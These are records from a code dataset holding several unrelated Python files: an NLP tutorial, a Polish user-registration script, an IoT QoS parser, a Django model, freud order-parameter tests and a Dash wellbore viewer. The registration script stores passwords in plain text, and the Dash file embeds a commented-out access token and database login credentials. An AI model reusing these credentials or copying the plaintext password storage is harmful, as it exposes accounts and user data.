words: {all_words}\")\n\n# alternativ till nestlad list comprehension:\nall_words2 = all_words[0:] + all_words[1:]\nprint(\"all_words2\", all_words2)\n# alt 2\nall_words3 = review1 + ' ' + review2\nprint(\"all_words3\", all_words3)\n\n\n# removes all copies, but sets don't have any particular ordering\nunique_words = set(all_words)\nprint(f\"Unique words: {unique_words}\")\n\n# dictionary of all words\nvocabulary = {word: index for index, word in enumerate(unique_words)}\nprint(vocabulary)\n\n\ndef term_frequency_vectorizer(document, vocabulary):\n    term_frequency = np.zeros(len(vocabulary))\n\n    for word in document.lower().split():\n        index = vocabulary[word]\n        term_frequency[index] += 1\n\n    return term_frequency\n\n\n# note that we consider the raw count itself and not divide by total number of terms in the document\n# this is another way to define the term frequency and more simplistic to ease understanding\nreview1_term_freq = term_frequency_vectorizer(review1, vocabulary)\nreview2_term_freq = term_frequency_vectorizer(review2, vocabulary)\n\n# review1 = \"I LOVE this book about love\"\n# review2 = \"No this book was okay\"\nprint(review1)\nprint(review1_term_freq)\nprint(review2)\nprint(review2_term_freq)\n\n# skapa bag of words\nbag_of_words = pd.DataFrame([review1_term_freq, review2_term_freq],\n                            columns=vocabulary.keys(), dtype=\"int16\")\nprint(bag_of_words)\n\n\n\"\"\"\nFeature extraction with sklearn\n- CountVectorizer - creates a bag of words model\n- TfidfTransformer - transforms it using TF-IDF\n- TfidfVectorizer - does CountVectorizer and TfidfTransformer\n\"\"\"\ncount_vectorizer = CountVectorizer()\nbag_of_words_sparse = count_vectorizer.fit_transform([review1, review2])\nbag_of_words_sparse.todense(), count_vectorizer.get_feature_names_out()\n# note that it ignores one letter words such as I\n\nbag_of_words = pd.DataFrame(bag_of_words_sparse.todense(), columns=count_vectorizer.get_feature_names_out())\nprint(\"bag_of_words:\\n\",bag_of_words)\n\n\"\"\"\nTF-IDF \n- Term frequency - inverse document frequency\n- TF-IDF is a way to represent how important a word is across a corpus of documents. Basically it is a vector with numeric weights on each word, where higher weights is put on rarer terms.\nsee bild\n\"\"\"\n\ntfidf_transformer = TfidfTransformer()\ntfidf = tfidf_transformer.fit_transform(bag_of_words_sparse)\nprint(tfidf)\n\nprint(tfidf.todense())\n\n# creates tfidf vector in one go\ntfidf_vectorizer = TfidfVectorizer()\ntfidf_words = tfidf_vectorizer.fit_transform([review1, review2]).todense()\nprint(tfidf_words)\n\ntfidf_vectorizer.get_feature_names()\nprint(review1)\nprint(review2)\n\npd.DataFrame(tfidf_words, columns = tfidf_vectorizer.get_feature_names_out())\n","repo_name":"jonssonmarie/Maskininlarning1_Marie_jonsson","sub_path":"Code_along/L11_NLP_intro.py","file_name":"L11_NLP_intro.py","file_ext":"py","file_size_in_byte":3609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"37949317884","text":"#-*- coding: UTF-8 -*-\n\nclass UserData:\n    def __init__(self,user_email,id_user_login,conn,cursor):\n        self.user_email = user_email\n        self.id_user_login = id_user_login\n        self.conn=conn\n        self.cursor=cursor\n    \n#     DODAĆ weryfikację czy podanego maila już niema w bazie!\n        \n    def user_add(self,):\n        print('---------------\\nDODAWANIE NOWEGO UŻYTKOWNIKA')\n        imie = input('Podaj imie (wymagane): ')\n        plec = input('Podaj płeć (K/M) (wymagane): ')\n        plec = plec.upper()\n            \n        while(True):\n#             print('Zmiania imienia ([D]-przejdz dalej): ')\n            c = input('[P] podaj nazwisko\\n[D] przejdz dalej ')\n            if (c.upper() == 'D'):\n                nazwisko = None\n                print('Dalej')\n                break\n            elif (c.upper() == 'P'):\n                nazwisko = input('Podaj nazwisko: ')\n                break\n            else:\n                print('Zła komenda!')\n                \n        while(True):\n            c = input('[P] podaj ksywkę\\n[D] przejdz dalej ')\n            if (c.upper() == 'D'):\n                ksywka = None\n                print('Dalej')\n                break\n            elif (c.upper() == 'P'):\n                ksywka = input('Podaj ksywkę: ')\n                break\n            else:\n                print('Zła komenda!')      \n    \n        \n        while(True):\n            c = input('[P] podaj datę urodzenia\\n[D] przejdz dalej ')\n            if (c.upper() == 'D'):\n                data_ur = None\n                print('Dalej')\n                break\n            elif (c.upper() == 'P'):\n                data_ur = input('Podaj datę urodzenia YYYY-MM-DD: ')\n                break\n            else:\n                print('Zła komenda!') \n                \n        while(True):\n            c = input('[P] podaj wagę\\n[D] przejdz dalej ')\n            if (c.upper() == 'D'):\n                waga = None\n                print('Dalej')\n                break\n            elif (c.upper() == 'P'):\n                waga = input('Podaj wagę: ')\n                break\n            else:\n                print('Zła komenda!')   \n        \n                \n        while(True):\n            c = input('[P] podaj numer telefonu\\n[D] przejdz dalej ')\n            if (c.upper() == 'D'):\n                telefon = None\n                print('Dalej')\n                break\n            elif (c.upper() == 'P'):\n                telefon = input('Podaj numer telefonu: ')\n                break\n            else:\n                print('Zła komenda!') \n                \n        while(True):\n            print('\\nUprawnienia użytkownika')\n            c = input('[K] Klubowicz \\n[S] Sprzętowiec')\n            if (c.upper() == 'K'):\n                uprawnienia = '1'\n                print('Uprawnienia nadane')\n                break\n            elif (c.upper() == 'K'):\n                uprawnienia = '1'\n                print('Uprawnienia nadane')\n                break\n            else:\n                print('Zła komenda!') \n                \n                \n        while(True):\n            print('\\nDane logowania')\n            email = input('Podaj adres mailowy: ')\n            dl_passwd1 = input('Podaj hasło: ')\n            dl_passwd2 = input('Powtórz hasło: ')\n            \n            if (dl_passwd1 != dl_passwd2):\n                print('Podaj jednakowe hasła!')\n                continue\n            else:\n                print('Dane logowania wpisane poprawnie.')\n                break\n                   \n        self.cursor.execute('INSERT INTO klubowicze (imie, nazwisko, ksywka, plec, data_ur, waga, email, telefon, uprawnienia) values (%s,%s,%s,%s,%s,%s,%s,%s,%s);', (imie, nazwisko, ksywka, plec, data_ur, waga, email, telefon, uprawnienia))\n        self.cursor.execute('INSERT INTO logowanie (haslo, email) values (%s,%s);', (dl_passwd1, email))\n        self.conn.commit()     \n        print(\"Użytkownik dodany.\\n\")\n        \n","repo_name":"MarcinHoinka/Baza_sprzetowa_python","sub_path":"user_data.py","file_name":"user_data.py","file_ext":"py","file_size_in_byte":3968,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"32398766684","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\n\"\"\"\n__author__ = 'YuJung Wang'\n__date__ = '2020/04'\n\nimport os\nimport sys\nimport subprocess\n\ndef readAppFile(read_file):\n    content = ''\n    with open(read_file, 'r') as rf:\n        content = rf.read()\n    parts = content.split('**time: ')\n    #print('parts:', parts)\n    number = -1\n    all_apps = {}\n    for part in parts[1:]:\n        number += 1\n        apps = {}\n        if '========Allocate Done=============' in part:\n            #print('part', part)\n            #part_1 = part.split('========Allocate Done=============\\n', 1)[1]\n            #print('part_1', part_1)\n            #part_2 = part_1.split('\\nSum of bandwidth:', 1)[0]\n            #print('part_2', part_2)\n            #lines = part.split('========Allocate Done=============\\r\\n', 1)[1].split('\\r\\nSum of bandwidth:', 1)[0]\n            lines = part.split('========Allocate Done=============\\n', 1)[1].split('\\nSum of bandwidth:', 1)[0]\n            #if '\\r\\n' in lines:\n            if '\\n' in lines:\n                #lines = lines.split('\\r\\n')\n                lines = lines.split('\\n')\n                for line in lines:\n                    segs = line.split(' ')\n                    if segs[0] not in apps.keys():\n                        apps[segs[0]] = [float(segs[-1])]\n                    else:\n                        apps[segs[0]].append(float(segs[-1]))\n            elif 'audio' in lines or 'yolo' in lines:\n                segs = lines.split(' ')\n                apps[segs[0]] = [float(segs[-1])]\n        all_apps[number] = apps \n    #print('all_apps\\n', all_apps)\n\n    return all_apps\n\nif __name__ == '__main__':\n    read_app_file = sys.argv[1]\n    read_qos_file = sys.argv[2]\n    write_file = sys.argv[3]\n\n    all_apps = readAppFile(read_app_file)\n\n    wy = [1, 0.8, 0.6, 0.4, 0.2]\n    wa = [0.9, 0.7, 0.5, 0.3, 0.1]\n\n    content = ''\n    with open(read_qos_file, 'r') as rf:\n        content = rf.read()\n    try:\n        parts = content.split('========== Time: 0 ==========\\n')\n    except:\n        sys.exit('Not From Time 0')\n    parts = parts[1].split(' ==========\\n')\n    #print('parts:', parts)\n    number = -1\n    accuracys = []\n    for part in parts:\n        yolo_apps = {}\n        audio_apps = {}\n        number += 1\n        weights = 0\n        sum_w_a = 0\n        #print('number:', number)\n        if ', ' in part:\n            #print('part', part)\n            lines = part.split('\\n')\n            #print('lines', lines)\n            for line in lines[:-2]:\n                #print('line:\\n' + line)\n                if line[:5] == 'audio':\n                    app, accuracy = line.split(', ', 1)\n                elif line[:4] == 'yolo':\n                    app, img_number, result = line.split(', ', 2)\n\n                if app in all_apps[number].keys():\n                    if app[:5] == 'audio' and app not in audio_apps:\n                        audio_apps[app] = [float(accuracy)]\n                    elif app[:5] == 'audio':\n                        apps[app].append(float(accuracy))\n                    elif app[:4] == 'yolo' and app not in yolo_apps:\n                        yolo_apps[app] = {}\n                        yolo_apps[app][img_number] = result\n                    elif app[:4] == 'yolo':\n                        yolo_apps[app][img_number] = result\n            \n            # Debug\n            print('audio_apps')\n            for app in audio_apps:\n                print('app: '+app)   \n                print('accuracy: ' + str(audio_apps[app])) \n            print('yolo_apps')\n            for app in yolo_apps:\n                print('app: '+app)   \n                for numb in yolo_apps[app]:\n                    print('img_number: ' + numb)\n                    print('result: ' + yolo_apps[app][numb])       \n\n            for app in apps:\n                apps_number = len(all_apps[number][app])\n                if app[:4] == 'yolo':\n                    weight = wy[int(app[4])-1]\n                if app[:5] == 'audio':\n                    weight = wa[int(app[5])-1]\n                if len(apps[app]) >= apps_number:\n                    max_apps = sorted(apps[app], reverse=True)\n                    #print('max_apps', max_apps)\n                    for i in range(apps_number):\n                        sum_w_a += max_apps[i]*weight\n                        weights += weight\n                else:\n                    max_apps = sorted(apps[app], reverse=True)\n                    for qos in apps[app]:\n                        sum_w_a += qos*weight\n                        weights += weight\n                    for i in range(apps_number-len(apps[app])):\n                        i %= len(max_apps)\n                        sum_w_a += max_apps[i]*weight\n                        weights += weight\n            remaining_apps = [app for app in all_apps[number] if app not in apps.keys()]\n            for app in remaining_apps:\n                apps_number = len(all_apps[number][app])\n                if app[:4] == 'yolo':\n                    weight = wy[int(app[4])-1]\n                if app[:5] == 'audio':\n                    weight = wa[int(app[5])-1]\n                sum_w_a += 0\n                weights += weight*apps_number\n                \n            #print('sum_w_a:', sum_w_a)\n            #print('weights:', weights)\n            if weights == 0:\n                accuracys.append(0)\n            else:\n                accuracys.append(sum_w_a/weights)\n        else:\n            accuracys.append(0)\n    #print('accuracys:', accuracys)\n    if os.path.isfile(write_file):\n        with open(write_file, 'w') as wf:\n            wf.write('')\n    with open(write_file, 'a') as wf:\n        for accuracy in accuracys:\n            wf.write(format(str(round(float(accuracy), 3)), ' <5') + ' ')\n","repo_name":"yjwangtw/IoT-System-Server","sub_path":"Implementation/Experiment/parsers/qos2Mat.py","file_name":"qos2Mat.py","file_ext":"py","file_size_in_byte":5733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"12744026040","text":"from django.db import models\n\n\nclass Category(models.Model):\n    \"\"\"Category.\"\"\"\n\n    name = models.CharField(\n        max_length=64,\n        verbose_name='категория'\n    )\n\n    parent = models.ForeignKey(\n        \"self\",\n        blank=True,\n        default=None,\n        null=True,\n        on_delete=models.DO_NOTHING\n    )\n\n    def __str__(self):\n        \"\"\"Returns string representation.\"\"\"\n\n        s = 'Category{'\n        s += ' id: ' + self.id.__str__()\n        s += ' name: ' + self.name.__str__()\n        s += ' }'\n        return s\n\n    class Meta:\n        db_table = 'categories'\n        verbose_name = 'Категория'\n        verbose_name_plural = 'Категории'\n","repo_name":"multiscripter/dating-django","sub_path":"products/models/Category.py","file_name":"Category.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"11926241752","text":"import os\n\nimport gsd.hoomd\nimport numpy as np\nimport numpy.testing as npt\nimport pytest\n\nimport freud\n\n\ndef _read_gsd_snapshot(filename):\n    filename = os.path.join(\n        os.path.dirname(__file__),\n        \"files\",\n        \"steinhardt_average\",\n        filename,\n    )\n    with gsd.hoomd.open(filename) as traj:\n        gsd_frame = traj[-1]\n    return gsd_frame\n\n\ndef _get_reference_data(name):\n    return np.genfromtxt(\n        os.path.join(\n            os.path.dirname(__file__),\n            \"files\",\n            \"steinhardt_average\",\n            f\"{name}.txt\",\n        )\n    )\n\n\ndef _compute_steinhardts(system, steinhardt_params, neighbors):\n    qls = []\n    for params in steinhardt_params:\n        op = freud.order.Steinhardt(**params)\n        op.compute(system, neighbors=neighbors)\n        qls.append(op.particle_order)\n    return np.array(qls).T\n\n\ndef _compute_comparison_data(system, average=False, weighted=False):\n    \"\"\"Computes q4, q6, w4, w6 with or without averaging and weighting.\"\"\"\n    if weighted:\n        # Use Voronoi neighbors\n        voro = freud.locality.Voronoi().compute(system=system)\n        nlist = voro.nlist\n    else:\n        # Use neighbors within radius\n        nbQueryDict = dict(mode=\"ball\", r_max=1.4, exclude_ii=True)\n        nq = freud.locality.AABBQuery.from_system(system)\n        nlist = (\n            nq.from_system(system)\n            .query(system.particles.position, nbQueryDict)\n            .toNeighborList()\n        )\n    return _compute_steinhardts(\n        system,\n        [\n            dict(average=average, weighted=weighted, l=4),\n            dict(average=average, weighted=weighted, l=6),\n            dict(average=average, weighted=weighted, l=4, wl=True, wl_normalize=True),\n            dict(average=average, weighted=weighted, l=6, wl=True, wl_normalize=True),\n        ],\n        nlist,\n    )\n\n\ndef _compute_msms(system, lmax, average=False, wl=False):\n    \"\"\"Returns Minkowski Structure Metrics up to a maximum l value.\"\"\"\n    voro = freud.locality.Voronoi().compute(system=system)\n    op = freud.order.Steinhardt(\n        l=list(range(lmax + 1)), average=average, weighted=True, wl=wl, wl_normalize=wl\n    )\n    op.compute(system, neighbors=voro.nlist)\n    return op.particle_order\n\n\nclass TestSteinhardtReferenceValues:\n    def test_gc_radius(self):\n        \"\"\"Check freud against data generated by GC reference code.\n\n        Data provided by a collaborator of Robin van Damme.\n        \"\"\"\n        gc_data = _get_reference_data(\"GC_rc1.4_q4q6w4w6\")\n        gsd_frame = _read_gsd_snapshot(\"Test_Configuration.gsd\")\n        freud_data = _compute_comparison_data(gsd_frame, average=False, weighted=False)\n        names = [\"q4\", \"q6\", \"w4\", \"w6\"]\n        for i, name in enumerate(names):\n            npt.assert_allclose(\n                gc_data[:, i], freud_data[:, i], atol=2e-5, err_msg=f\"{name} failed\"\n            )\n\n    def test_gc_radius_ave(self):\n        \"\"\"Check freud against data generated by GC reference code.\n\n        Data provided by a collaborator of Robin van Damme.\n        \"\"\"\n        gc_data = _get_reference_data(\"GC_rc1.4_avq4avq6avw4avw6\")\n        gsd_frame = _read_gsd_snapshot(\"Test_Configuration.gsd\")\n        freud_data = _compute_comparison_data(gsd_frame, average=True, weighted=False)\n        names = [\"ave. q4\", \"ave. q6\", \"ave. w4\", \"ave. w6\"]\n        for i, name in enumerate(names):\n            npt.assert_allclose(\n                gc_data[:, i], freud_data[:, i], atol=2e-5, err_msg=f\"{name} failed\"\n            )\n\n    def test_rvd_msm(self):\n        \"\"\"Check freud against data generated by MSM reference code.\n\n        https://github.com/ArvDee/Minkowski-structure-metrics-calculator\n        \"\"\"\n        rvd_data = _get_reference_data(\"RvD_MSM_q4q6w4w6\")\n        gsd_frame = _read_gsd_snapshot(\"Test_Configuration.gsd\")\n        freud_data = _compute_comparison_data(gsd_frame, average=False, weighted=True)\n        names = [\"q'4\", \"q'6\", \"w'4\", \"w'6\"]\n        for i, name in enumerate(names):\n            npt.assert_allclose(\n                rvd_data[:, i], freud_data[:, i], atol=2e-5, err_msg=f\"{name} failed\"\n            )\n\n    def test_rvd_msm_ave(self):\n        \"\"\"Check freud against data generated by MSM reference code.\n\n        https://github.com/ArvDee/Minkowski-structure-metrics-calculator\n        \"\"\"\n        rvd_data = _get_reference_data(\"RvD_MSM_avq4avq6avw4avw6\")\n        gsd_frame = _read_gsd_snapshot(\"Test_Configuration.gsd\")\n        freud_data = _compute_comparison_data(gsd_frame, average=True, weighted=True)\n        names = [\"ave. q'4\", \"ave. q'6\", \"ave. w'4\", \"ave. w'6\"]\n        for i, name in enumerate(names):\n            # If most of the particles agree, this test is probably correct.\n            # Close investigation showed that numerical issues (truncated\n            # particle positions?) and bonds with facet weights of the order of\n            # 1e-9 caused some deviations in the neighbor counts, which in turn\n            # affected the averaged ql values. This affected 37 out of 3288\n            # particles in the sample data for one of the cases checked.\n            close_values = np.isclose(rvd_data[:, i], freud_data[:, i], atol=5e-5)\n            assert np.sum(close_values) > (0.985 * len(freud_data)), f\"{name} failed\"\n\n    @pytest.mark.parametrize(\n        \"reference,average,wl\",\n        [\n            (\"q\", False, False),\n            (\"w\", False, True),\n            (\"avq\", True, False),\n            (\"avw\", True, True),\n        ],\n    )\n    def test_msm_calc(self, reference, average, wl):\n        \"\"\"Check freud against data generated by MSM reference code.\n\n        https://github.com/ArvDee/Minkowski-structure-metrics-calculator\n        \"\"\"\n        msm_data = _get_reference_data(f\"{reference}_0\")\n        gsd_frame = _read_gsd_snapshot(\"Test_Configuration.gsd\")\n        lmax = 6\n        freud_data = _compute_msms(gsd_frame, lmax, average, wl)\n        for sph_l in range(lmax + 1):\n            if wl and sph_l == 2:\n                # w'2 tests fail for unknown (probably numerical) reasons.\n                continue\n            name = f\"{reference}{sph_l}\"\n            # If most of the particles agree, this test is probably correct.\n            # Close investigation showed that numerical issues (truncated\n            # particle positions in the dat file?) and bonds with facet weights\n            # of the order of 1e-9 caused some deviations in the neighbor\n            # counts, which in turn affected the averaged ql values. This\n            # affected 37 out of 3288 particles in the sample data.\n            close_values = np.isclose(\n                msm_data[:, sph_l], freud_data[:, sph_l], atol=1e-5\n            )\n            assert np.sum(close_values) > (0.985 * len(freud_data)), f\"{name} failed\"\n","repo_name":"glotzerlab/freud","sub_path":"tests/validation/test_Steinhardt_Average.py","file_name":"test_Steinhardt_Average.py","file_ext":"py","file_size_in_byte":6766,"program_lang":"python","lang":"en","doc_type":"code","stars":237,"dataset":"github-code","pt":"22"}
+{"seq_id":"41320466414","text":"import dash\nimport dash_bootstrap_components as dbc\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport numpy as np\nimport pandas as pd\nimport plotly.graph_objs as go\nimport pyodbc\nfrom dash.dependencies import Input, Output, State\nimport BDAkdtree as kd\n\n\n\n#mapbox_access_token = 'pk.eyJ1Ijoia3dvbm0iLCJhIjoiY2p4MHk0NTlhMDF4bjN6bnp6bm8xcmswOSJ9.OANG2d0eU8VCjsShWpccgQ'\n# USE MARKDOWN FOR HTML\n\n# connect to DB server\n# server = 'CKCWBDA2'\n# database = 'BDA_RWI'\n# username = 'BDA_READ'\n# password = 'readonly'\n# cnxn = pyodbc.connect(\n#     'DRIVER={ODBC Driver 17 for SQL Server}; SERVER=' + server + '; DATABASE=' + database + '; UID=' + username + '; PWD=' + password + ';MARS_Connection=yes')\n\napp = dash.Dash(__name__, external_stylesheets=[dbc.themes.LUX])\n\n#\n# INITIAL_QUERY = pd.read_sql_query(\n#             '''SELECT\n#                 [PROJECT_NAME],\n#                 [WELL_COMMON_NAME],\n#                 [API_SUFFIX],\n#                 [MD],\n#                 [TVDSS] * -1 as [TVDSS],\n#                 [MAP_NORTHING],\n#                 [MAP_EASTING],\n#                 [LATITUDE],\n#                 [LONGITUDE],\n#                 [mrkname] as [MRKNAME],\n#                 [top_perf] as [TOP_PERF],\n#                 [bot_perf] as [BOT_PERF],\n#                 [frac_flag] as [FRAC_FLAG],\n#                 [perf_status] [PERF_STATUS],\n#                 [SURVEY_DATE],\n#                 [perf_start_date] as [PERF_START_DATE],\n#                 CONCAT(WELL_COMMON_NAME,'_',API_SUFFIX) as NEW_WELL_NAME\n#                 FROM [BDA_RWI].[dbo].[surveys_markers_perfs_v] where [WELL_COMMON_NAME] in ('B748', 'B623', 'D716', 'B634', 'B737', 'B748', 'B706', 'D719', 'B739', 'B568', 'A303', 'A307', 'D748')\n#                  order by [MD] asc;''', cnxn\n# )\n\nINITIAL_QUERY = pd.read_csv(r'C:\\Users\\kwonm\\Documents\\TEST\\TEXAS SOURCE FILES\\points.csv')\nINITIAL_QUERY['API_SUFFIX'] = '0' + INITIAL_QUERY['API_SUFFIX'].astype(str)\nINITIAL_QUERY_1 = INITIAL_QUERY[INITIAL_QUERY['WELL_COMMON_NAME'].isin(['B748', 'B623', 'D716', 'B634', 'B737', 'B748', 'B706', 'D719', 'B739', 'B568', 'A303', 'A307', 'D748'])]\ntree = kd.SurveyKdtree(INITIAL_QUERY)\n\ndef clean_smp(query):\n    \"\"\"\n    Clean, filter query\n    Create differentiated well names based on API suffix\n\n    PARAMETERS:\n        INPUT: SQL QUERY\n        OUTPUT: DATAFRAME\n    \"\"\"\n\n    query['MRKNAME'] = query['MRKNAME'].str.strip()\n    query['MRKNAME'] = query['MRKNAME'].replace('F0', 'FO')\n    # drop rows with null API suffixes\n    query = query.dropna(subset=['API_SUFFIX'])\n\n    return query\n\ndef make_trace(well_name, df, color):\n    \"\"\"\n    Plot all given well bore points\n    PARAMETERS:\n        INPUT: WELL NAME\n        OUTPUT: PLOTLY DATA TRACE FOR WELL\n    \"\"\"\n\n    well_coord = df.loc[df['NEW_WELL_NAME'] == well_name]  # filtered df\n\n    x = well_coord['MAP_EASTING']\n    y = well_coord['MAP_NORTHING']\n    z = well_coord['TVDSS']\n\n    trace = go.Scatter3d(\n        x = x, y = y, z = z,\n        mode = 'lines',\n        line = dict(width = 3,\n                  color = color),\n        name = well_name,\n        legendgroup = well_name,\n    )\n\n    return trace\n\ndef make_marker_trace(well_name, df):\n    \"\"\"\n    Plot color-coded markers of a given well name.\n    Relies on marker_colordict. Color dictionary for all markers.\n    PARAMETERS:\n        INPUT: WELL NAME\n        OUTPUT: PLOTLY DATA TRACE FOR WELL MARKERS\n    \"\"\"\n\n    well_coord = df.loc[df['NEW_WELL_NAME'] == well_name]  # filtered df\n    well_coord = well_coord[pd.notnull(well_coord['MRKNAME'])]  # filter out null values for marker name\n    grouped = well_coord.groupby('MRKNAME').first()\n    marker_index = grouped.index\n    mrk_clr = marker_index.map(marker_colordict)\n\n    x = np.concatenate([grouped['MAP_EASTING']], axis = 0)\n    y = np.concatenate([grouped['MAP_NORTHING']], axis = 0)\n    z = np.concatenate([grouped['TVDSS']], axis = 0)\n\n    trace = go.Scatter3d(\n        x = x, y = y, z = z,\n        mode = 'markers+text',\n        marker = dict(color = mrk_clr,\n                    size = 5),\n        name = well_name + \"<br>\" + \"Markers\",\n        text = marker_index,\n        textposition = \"middle right\",\n        textfont = dict(\n            size = 10),\n        legendgroup = well_name,\n        # hoverinfo = 'text',   <--------- gives only the text\n        showlegend = True\n    )\n\n    return trace\n\ndef make_perf_trace(well_name, df):\n    \"\"\"\n    Plot perfs of a given well name. Provides perf position and status.\n    PARAMETERS:\n        INPUT: WELL NAME\n        OUTPUT: PLOTLY DATA TRACE FOR WELL PERFS\n    \"\"\"\n\n    well_coord = df.loc[df['NEW_WELL_NAME'] == well_name]  # filtered df\n    well_coord = well_coord[pd.notnull(well_coord['PERF_STATUS'])]\n    well_coord.loc[well_coord['MRKNAME'].isnull(), 'MRKNAME'] = 'N/A'\n\n    perf_status_color = {'INACTIVE': '#f57b42', 'ACTIVE': 'green'}\n    perf_clr = well_coord['PERF_STATUS'].map(perf_status_color)\n\n    trace = go.Scatter3d(\n        x = well_coord['MAP_EASTING'], y = well_coord['MAP_NORTHING'], z = well_coord['TVDSS'],\n        mode = 'markers',\n        marker = dict(color = perf_clr,\n                    size = 5,\n                    symbol = 'diamond',\n                    opacity = .1),\n        name = well_name + ' Perfs',\n        text = 'Top Perf: ' + well_coord['TOP_PERF'].astype(str) + \"<br>\" + \"Bottom Perf: \" + well_coord[\n            'BOT_PERF'].astype(str) + \"<br>\" + 'Perf Status: ' + well_coord['PERF_STATUS'].astype(str) + \"<br>\" +\n             \"Marker: \" + well_coord['MRKNAME'],\n        legendgroup = 'Perfs',\n        # hoverinfo = 'text',   <--------- gives only the text\n        showlegend = True\n    )\n\n    return trace\n\ndef make_frac_trace(well_name, df):\n    \"\"\"\n    Plot fracs of a given well name. Indicates T/F for frac location.\n    PARAMETERS:\n        INPUT: WELL NAME\n        OUTPUT: PLOTLY DATA TRACE FOR WELL FRACS\n    \"\"\"\n    well_coord = df.loc[df['NEW_WELL_NAME'] == well_name]  # filtered df\n    well_coord = well_coord.loc[(well_coord.FRAC_FLAG == 'F') | (well_coord.FRAC_FLAG == 'X')]\n\n    trace = go.Scatter3d(\n        x = well_coord['MAP_EASTING'], y = well_coord['MAP_NORTHING'], z = well_coord['TVDSS'],\n        mode = 'markers',\n        marker = dict(color = 'black',\n                    size = 5,\n                    symbol = 'diamond',\n                    opacity = .08),\n        name = well_name + ' Fracs',\n        text = \"Fracs: True\" + \"<br>\" + \"Marker: \" + well_coord['MRKNAME'],\n        legendgroup = 'Fracs',\n        # hoverinfo = 'text',   <--------- gives only the text\n        showlegend = True\n    )\n\n    return trace\n\ndef add_fault(fault):\n\n    #fault path variable\n    data = pd.read_csv(r'C:\\Users\\kwonm\\Documents\\TEST\\fault files\\%s' % fault, sep=' ', header=None, skiprows=20)\n    x = data[data.columns[0]].values\n    y = data[data.columns[1]].values\n    z = data[data.columns[2]].values * -1\n\n    trace = [go.Mesh3d(\n        x = x, y = y, z = z,\n        color = 'black',\n        opacity = 0.50,\n        name = fault\n        )]\n\n    return trace\n\n# def generate_well_map(df):\n#     grouped = df.groupby('WELL_COMMON_NAME')\n#     well_long = np.concatenate(grouped['LONGITUDE'].unique(), axis=0)\n#     well_lat = np.concatenate(grouped['LATITUDE'].unique(), axis=0)\n#     project_name = np.concatenate(grouped['PROJECT_NAME'].unique(), axis=0)\n#     well_index = grouped['PROJECT_NAME'].unique().index\n#\n#     data = [go.Scattermapbox(\n#         lat=well_lat,\n#         lon=well_long,\n#         mode=\"markers\",\n#         marker=dict(size=7,\n#                     color='red'\n#                     ),\n#         text=project_name + '<br>' + well_index\n#         # can add name,\n#         # selected points = index\n#         # custom data)\n#     )]\n#\n#     layout = go.Layout(\n#         autosize=True,\n#         hovermode='closest',\n#         mapbox=go.layout.Mapbox(\n#             accesstoken=mapbox_access_token,\n#             bearing=0,\n#             pitch=0,\n#             zoom=15,\n#             center=go.layout.mapbox.Center(lat=33.76004, lon=-118.18054)),\n#         height=700\n#     )\n#\n#     return {'data': data, 'layout': layout}\n\n# def parse_contents():\n\ndef plot_3d_wellbore(wellbore_df, fault, color='#f542f2'):\n    \"\"\"\n    Plot  the 3d graph\n    PARAMETERS:\n        INPUT: Surveys_markers_perfs dataframe, fault, color (defaulted to pink unless entered otherwise)\n        OUTPUT: List of data traces to be plugged into FIGURE\n    \"\"\"\n    data_traces = []\n\n    if wellbore_df.empty:\n        for i in fault:\n            data_traces.extend(add_fault(i))\n    else:\n        df = clean_smp(wellbore_df)\n        if fault == None: fault = []\n\n        for i in df['NEW_WELL_NAME'].unique():\n            trace = make_trace(i, df, color)\n            data_traces.append(trace)\n\n            marker_trace = make_marker_trace(i, df)\n            data_traces.append(marker_trace)\n\n        for i in df['NEW_WELL_NAME'].unique():\n            trace = make_perf_trace(i, df)\n            data_traces.append(trace)\n\n        for i in df['NEW_WELL_NAME'].unique():\n            trace = make_frac_trace(i, df)\n            data_traces.append(trace)\n\n        if fault != None:\n            for i in fault:\n                data_traces.extend(add_fault(i))\n\n    return data_traces\n\n#color dictionary for markers only need to be enumerated once\nmarker_all = ['A', 'AA', 'AB', 'AC', 'AD', 'AE', 'AI', 'AM', 'AO', 'AR', 'AU', 'AX', 'BA', 'F', 'FO',\n              'G', 'G4', 'G5', 'G6', 'H', 'H1', 'HX', 'HX1', 'HXA', 'HXB', 'HXC', 'HXO', 'J', 'K', 'M',\n              'M1', 'S', 'T', 'W', 'X', 'Y', 'Y4', 'Z']\n\nmarker_colors = ['#1f77b4', '#ff7f0e', '#d62728', '#8c564b', '#2ca02c', '#a667bd', '#e377b5', '#7f7f7f', '#6522bd',\n                 '#17c5cf']\n\n# color index for markers\nmarker_colordict = {i: marker_colors[j % len(marker_colors)] for j, i in enumerate(marker_all)}\n#itertools / zip\n\nlb_faults = {'LBU': 'LBU FLT',\n            'LBU A1-N': 'LBU A1-N FLT',\n            'LBU A1-S': 'LBU A1-S FLT',\n            'Junipero': 'JUNIPERO FLT',\n            'Junipero A1': 'JUNIPERO A1 FLT',\n            'Belmont': 'BELMONT FLT',\n            'Belmont A1': 'BELMONT A1 FLT',\n            'Belmont B1': 'BELMONT B1 FLT',\n            'Daisy': 'DAISY_1',\n            'Daisy B1': 'DAISY_B-1',\n            'Daisy B2': 'DAISY AVE-B2 FLT'}\n\nlayout = go.Layout(\n                                                height = 700,\n                                                margin = dict(l = 0, r = 20, t = 20, b = 0),\n                                                scene = dict(\n                                                    xaxis = dict(\n                                                        title = 'X (EASTING)',\n                                                        backgroundcolor = \"rgb(200, 200, 230)\",\n                                                        gridcolor = 'rgb(255, 255, 255)',\n                                                        showbackground = True,\n                                                        zerolinecolor = 'rgb(255, 255, 255)'\n                                                    ),\n                                                    yaxis = dict(title = 'Y (NORTHING)',\n                                                               backgroundcolor = \"rgb(230, 200,230)\",\n                                                               gridcolor = \"rgb(255, 255, 255)\",\n                                                               showbackground = True,\n                                                               zerolinecolor = \"rgb(255, 255, 255)\"\n                                                               ),\n                                                    zaxis = dict(title = 'SUBSURFACE Z',\n                                                               backgroundcolor = \"rgb(230, 230,200)\",\n                                                               gridcolor = \"rgb(255, 255, 255)\",\n                                                               showbackground = 